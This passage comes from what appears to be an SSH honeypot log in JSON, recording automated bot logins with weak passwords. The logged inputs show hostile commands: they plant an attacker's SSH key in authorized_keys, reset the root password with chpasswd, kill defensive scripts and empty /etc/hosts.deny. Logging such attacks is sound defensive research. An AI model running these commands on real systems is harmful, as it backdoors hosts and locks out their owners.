Processor"},{"seq":10,"at":"2026-08-26T21:52:39.589963+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T21:52:39.969099+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T21:52:41.185501+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T21:52:41.258121+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T21:52:43.079924+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T21:52:43.153411+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T21:52:44.778386+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T21:52:44.845959+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T21:52:46.125122+00:00","kind":"output","latency_ms":null,"data":" 21:52:46 up 6 days, 18:42, 0 user, load average: 0.33, 0.27, 0.36\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T21:52:46.192120+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T21:52:47.623472+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T21:52:47.692039+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T21:52:49.075251+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T21:52:49.143951+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T21:52:50.293040+00:00","kind":"output","latency_ms":null,"data":"top - 21:52:50 up 6 days, 18:42, 0 user, load average: 0.33, 0.27, 0.36\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T21:52:50.362434+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T21:52:50.956150+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T21:52:51.026114+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T21:52:51.379056+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T21:52:51.447821+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T21:52:51.704577+00:00","kind":"output","latency_ms":null,"data":"it"},{"seq":31,"at":"2026-08-26T21:52:51.778119+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T21:52:52.978819+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T21:52:53.048175+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T21:52:54.379268+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"it","password":"password","method":"password","accepted":true,"tier":"other"}]} {"id":"e0a23090-474a-4bcc-b4e2-c83a6a258114","name":"dewy-faded-nightjar","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":45852,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":68,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:50:48.908832+00:00","ended_at":"2026-08-26T21:50:50.825332+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2260,"events":[{"seq":1,"at":"2026-08-26T21:50:35.447123+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:50:35.516297+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:50:39.328352+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:50:40.165635+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:50:40.234762+00:00","kind":"input","latency_ms":null,"data":"echo \"root:o5XNCezLE60u\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T21:50:40.301936+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T21:50:40.371573+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:50:41.251103+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T21:50:41.318220+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T21:50:42.439283+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T21:50:42.508220+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T21:50:43.860998+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T21:50:43.930168+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T21:50:44.399279+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T21:50:44.467956+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T21:50:45.078231+00:00","kind":"output","latency_ms":null,"data":" 21:50:45 up 6 days, 18:40, 0 user, load average: 0.27, 0.19, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T21:50:45.145705+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T21:50:45.399804+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T21:50:45.468226+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T21:50:46.022645+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T21:50:46.090782+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T21:50:46.368570+00:00","kind":"output","latency_ms":null,"data":"top - 21:50:46 up 6 days, 18:40, 0 user, load average: 0.27, 0.19, 0.18\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T21:50:46.437825+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T21:50:46.814617+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T21:50:46.884023+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T21:50:47.380622+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T21:50:47.451197+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T21:50:47.831675+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T21:50:47.899292+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T21:50:48.841620+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T21:50:48.909578+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T21:50:50.813038+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"admin54321","method":"password","accepted":true,"tier":"other"}]} {"id":"89f01967-b6fd-431c-99de-62e5d676979e","name":"jaunty-ancient-loris","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":59308,"username":"debian","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:48:55.007378+00:00","ended_at":"2026-08-26T21:48:56.445720+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2196,"events":[{"seq":1,"at":"2026-08-26T21:48:31.916148+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:48:31.983467+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:48:35.845060+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:48:37.970199+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:48:38.035502+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123123\\ntJcaVWQntypY\\ntJcaVWQntypY\"|passwd|bash"},{"seq":6,"at":"2026-08-26T21:48:38.101479+00:00","kind":"input","latency_ms":null,"data":"echo \"123123\\ntJcaVWQntypY\\ntJcaVWQntypY\\n\"|passwd"},{"seq":7,"at":"2026-08-26T21:48:38.169134+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:48:39.387286+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T21:48:39.542136+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-26T21:48:39.959762+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-26T21:48:40.028932+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-26T21:48:40.863372+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T21:48:40.939880+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T21:48:42.383320+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T21:48:42.452770+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T21:48:43.573396+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T21:48:43.640504+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T21:48:45.449760+00:00","kind":"output","latency_ms":null,"data":" 21:48:45 up 6 days, 18:38, 0 user, load average: 0.3, 0.21, 0.23\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T21:48:45.518826+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T21:48:46.954144+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T21:48:47.020660+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T21:48:48.102389+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T21:48:48.172802+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T21:48:49.117961+00:00","kind":"output","latency_ms":null,"data":"top - 21:48:49 up 6 days, 18:38, 0 user, load average: 0.3, 0.21, 0.23\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T21:48:49.185001+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T21:48:50.307498+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T21:48:50.333505+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T21:48:51.684161+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T21:48:51.752583+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T21:48:53.487857+00:00","kind":"output","latency_ms":null,"data":"debian"},{"seq":31,"at":"2026-08-26T21:48:53.554629+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T21:48:54.939367+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T21:48:55.008615+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T21:48:56.434933+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"debian","password":"123123","method":"password","accepted":true,"tier":"other"}]} {"id":"19a88dac-d478-40f2-a4ab-5ecb2d32a4d4","name":"bold-nameless-cuckoo","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":56664,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":71,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:46:42.168677+00:00","ended_at":"2026-08-26T21:46:44.366812+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2238,"events":[{"seq":1,"at":"2026-08-26T21:46:29.329587+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:46:29.399048+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:46:31.936772+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:46:32.538396+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:46:32.608833+00:00","kind":"input","latency_ms":null,"data":"echo \"root:xmqweC5ZgZLs\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T21:46:32.676661+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T21:46:32.748101+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:46:33.552779+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T21:46:33.621390+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T21:46:34.411387+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T21:46:34.482153+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T21:46:35.294166+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T21:46:35.374317+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T21:46:36.258951+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T21:46:36.327748+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T21:46:37.096228+00:00","kind":"output","latency_ms":null,"data":" 21:46:37 up 6 days, 18:36, 0 user, load average: 0.17, 0.13, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T21:46:37.164738+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T21:46:37.648003+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T21:46:37.718033+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T21:46:38.040688+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T21:46:38.111824+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T21:46:38.615903+00:00","kind":"output","latency_ms":null,"data":"top - 21:46:38 up 6 days, 18:36, 0 user, load average: 0.17, 0.13, 0.13\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T21:46:38.685017+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T21:46:39.364204+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T21:46:39.435186+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T21:46:40.235688+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T21:46:40.308721+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T21:46:40.695700+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T21:46:40.764804+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T21:46:42.098371+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T21:46:42.169438+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T21:46:44.355208+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"lw123456","method":"password","accepted":true,"tier":"other"}]} {"id":"d372a842-883e-4aee-b7bf-c487f63997e5","name":"plush-amiable-pheasant","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":46896,"username":"behnam","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":67,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:44:49.415915+00:00","ended_at":"2026-08-26T21:44:50.314075+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2174,"events":[{"seq":1,"at":"2026-08-26T21:44:35.692456+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:44:35.758525+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:44:38.573297+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:44:38.867661+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:44:38.935709+00:00","kind":"input","latency_ms":null,"data":"echo -e \"behnam\\nr31hIa0NaOlD\\nr31hIa0NaOlD\"|passwd|bash"},{"seq":6,"at":"2026-08-26T21:44:39.001683+00:00","kind":"input","latency_ms":null,"data":"echo \"behnam\\nr31hIa0NaOlD\\nr31hIa0NaOlD\\n\"|passwd"},{"seq":7,"at":"2026-08-26T21:44:39.068604+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:44:39.908336+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T21:44:39.975563+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T21:44:41.217106+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T21:44:41.286251+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T21:44:42.604651+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T21:44:42.673868+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T21:44:43.480662+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T21:44:43.549105+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T21:44:44.036333+00:00","kind":"output","latency_ms":null,"data":" 21:44:44 up 6 days, 18:34, 0 user, load average: 0.28, 0.3, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T21:44:44.105149+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T21:44:44.747803+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T21:44:44.813763+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T21:44:45.246839+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T21:44:45.319422+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T21:44:45.974463+00:00","kind":"output","latency_ms":null,"data":"top - 21:44:45 up 6 days, 18:34, 0 user, load average: 0.28, 0.3, 0.19\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR 